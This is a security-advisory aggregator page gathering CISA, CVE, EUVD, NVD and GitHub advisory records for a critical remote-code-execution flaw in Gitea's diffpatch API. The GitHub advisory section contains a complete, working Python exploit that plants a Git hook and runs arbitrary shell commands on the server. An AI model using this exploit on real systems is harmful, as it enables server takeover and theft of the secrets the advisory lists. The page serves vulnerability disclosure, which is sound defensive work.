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Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

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CVE-2026-60004

Listed in CISA KEV · added 25 Aug 2026 · Gitea · Gitea

Gitea contains a code injection vulnerability that allows an attacker with repository write access to send a malicious patch to the diffpatch API endpoint to plant an executable Git hook and run shell commands as the Gitea service account.

CISA source · CISA-cited reference

No EPSS score is available here for this CVE.

Saved 23 Oct 2026 16:01:26 UTC · View this risk record (JSON)

cve-program · CVE-2026-60004

Published

Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.

Source published
26 Aug 2026 19:45:00 UTC
Source modified
8 Sep 2026 18:03:21 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

euvd · EUVD-2026-66708

Published

Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 26, 2026, 7:45:00 PM

dateUpdated: Sep 8, 2026, 6:03:21 PM

Source published
Aug 26, 2026, 7:45:00 PM (timezone not stated)
Source modified
Sep 8, 2026, 6:03:21 PM (timezone not stated)
Saved here
13 Nov 2026 16:03:30 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd · CVE-2026-60004

Published

Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-94

Original publisher date fields

published: 2026-08-26T20:17:56.010

lastModified: 2026-08-27T11:41:19.230

1 source CPE criteria · context only
  • cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
26 Aug 2026 20:17:56 UTC
Source modified
27 Aug 2026 11:41:19 UTC
Saved here
25 Oct 2026 14:19:22 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

osv · GHSA-rcr6-4jqh-j84m

Published

### Summary Gitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content. An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository. ### Details `services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone: ```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") } ```` Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`. In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named: ```text hooks/post-index-change ``` becomes a live Git hook. Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account. The hook's return value is not propagated to the `diffpatch` response. The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP. ### PoC The supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository. Set the account password: ```bash export GITEA_PASSWORD='account-password' ``` Execute a command through the `diffpatch` chain: ```bash python3 ./gitea_diffpatch_rce_poc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd' ``` The script: * Creates an initialized private repository. * Submits the same executable-hook patch twice. * Fetches the result branch. * Prints the command's combined stdout, stderr, and exit status. * Prints the evidence repository, ref, and commit IDs to stderr. Expected output resembles: ```text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/... [exit-status=0] ``` The trigger requires: * Git 2.32 or newer. * An enabled `diffpatch` route. * A writable and executable temporary filesystem. Open registration is required only for the no-prior-credentials attack path. ### Impact This is remote command execution as the Gitea service account (`CWE-94`). Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose: * `app.ini` and Gitea application secrets. * Process environment secrets. * Mounted repositories. * Database credentials and database contents. * OAuth and integration credentials. * Other internal or externally reachable services. With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository. <img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" /> ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Gitea RCE PoC – authorized testing only. """ from __future__ import annotations import argparse import base64 import getpass import hashlib import json import os from pathlib import Path import secrets import shlex import shutil import subprocess import sys import tempfile from typing import Any import urllib.error import urllib.parse import urllib.request TIMEOUT = 30.0 USER_AGENT = "gitea-rce-poc/2.0" _RST = "\033[0m" _DIM = "\033[2m" _GRN = "\033[38;5;46m" # bright green _RED = "\033[31m" # red for errors def _g(t: str) -> str: return f"{_GRN}{t}{_RST}" def _r(t: str) -> str: return f"{_RED}{t}{_RST}" def _d(t: str) -> str: return f"{_DIM}{t}{_RST}" def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}") def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}") def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}") _SEP = " " + "═" * 44 BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}" def print_banner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(_g(line)) print() ver = version or "unknown" print(_g(" " + "-" * 54)) print(_g(f" Target : {url}")) print(_g(f" Version : {ver}")) if command: print(_g(f" Command : {command}")) print(_g(" " + "-" * 54)) print() class PocError(RuntimeError): pass class GiteaClient: def __init__(self, base_url: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.base_url = base_url.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}" def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.base_url + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USER_AGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2_000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON") def blob_oid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest() def build_hook(command: str, leak_ref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leak_ref}") return ( "#!/bin/sh\n" 'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n' 'case "$origin_objects" in\n' ' /*) ;;\n' ' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n' "esac\n" 'origin_git=${origin_objects%/objects}\n' '[ "$origin_git" != "$origin_objects" ] || exit 3\n' f"output_blob=$({{ /bin/sh -c {qcmd}; " 'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | ' 'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | ' 'git --git-dir="$origin_git" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GIT_AUTHOR_NAME=poc [email protected] " "GIT_COMMITTER_NAME=poc [email protected] " 'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode() def build_patch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'*40}..{blob_oid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode() def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, *arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout def fetch_output(git: str, client: GiteaClient, owner: str, repo: str, leak_ref: str) -> bytes: remote = ( f"{client.base_url}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" auth_cfg = Path(tmp) / "auth.config" fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} run_git(git, ["init", "--bare", "--quiet", str(bare)], env) run_git(git, [ "-C", str(bare), "-c", f"include.path={auth_cfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leak_ref}", ], env) return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env) def split_output(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.add_argument("url", help="Gitea base URL") p.add_argument("username", help="existing Gitea username") p.add_argument("command", help="shell command to execute on target") return p.parse_args() def main() -> int: args = parse_args() if "\0" in args.command: raise PocError("command must not contain a NUL character") password = os.environ.get("GITEA_PASSWORD") or getpass.getpass( _g("[?]") + " password: " ) if not password: raise PocError("password must not be empty") git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH") client = GiteaClient(args.url, args.username, password) # version probe (pre-banner) log_star("probing target...") version: str | None = None try: r = urllib.request.Request( client.base_url + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USER_AGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" print_banner(client.base_url, version, args.command) log_star(f"target={client.base_url} user={args.username} cmd={args.command}") print() # step 1 – authenticate log_star("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): log_err("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: log_err("no login in response"); raise PocError("no login") log_ok(f"logged in as {owner} ({version})") # step 2 – create repo unique = secrets.token_hex(5) repo = f"test-repo-{unique}" leak_ref = f"output-{unique}" log_star("creating repository...") sc, _ = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "auto_init": True, "default_branch": "main", "object_format_name": "sha1", }) if sc != 201: log_err("repo creation failed"); raise PocError("repo creation failed") log_ok(f"created repo {owner}/{repo}") # steps 3–4 – deliver payloads body = { "content": build_patch(build_hook(args.command, leak_ref)), "message": "initial commit", "branch": "main", "new_branch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): log_star(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: log_err(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: log_err(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}") # step 5 – retrieve output log_star("retrieving output...") output = fetch_output(git, client, owner, repo, leak_ref) log_ok("operation complete") # command output cmd_out, exit_status = split_output(output) print() log_ok(f"{args.command}:") print(_g("---")) if cmd_out: for line in cmd_out.splitlines(): print(_g(line)) else: print(_d("<no output>")) print(_g("---")) if exit_status == 0: log_ok(f"exit status: {exit_status}") elif exit_status is None: log_star("exit status: unknown") else: log_err(f"exit status: {exit_status}") return 0 if __name__ == "__main__": try: raise SystemExit(main()) except PocError as exc: log_err(str(exc)) raise SystemExit(1) from None ```

Source published
8 Sep 2026 17:56:30 UTC
Source modified
10 Sep 2026 15:25:46 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL

osv · GO-2026-6433

Published

Gitea: Remote Code Execution via diffpatch Git Hook Installation in gitea.dev

Source published
10 Sep 2026 14:48:42 UTC
Source modified
10 Sep 2026 15:25:46 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 02:45 UTC · 256 of 275 readable · 254 fully read · documentation 439/469 current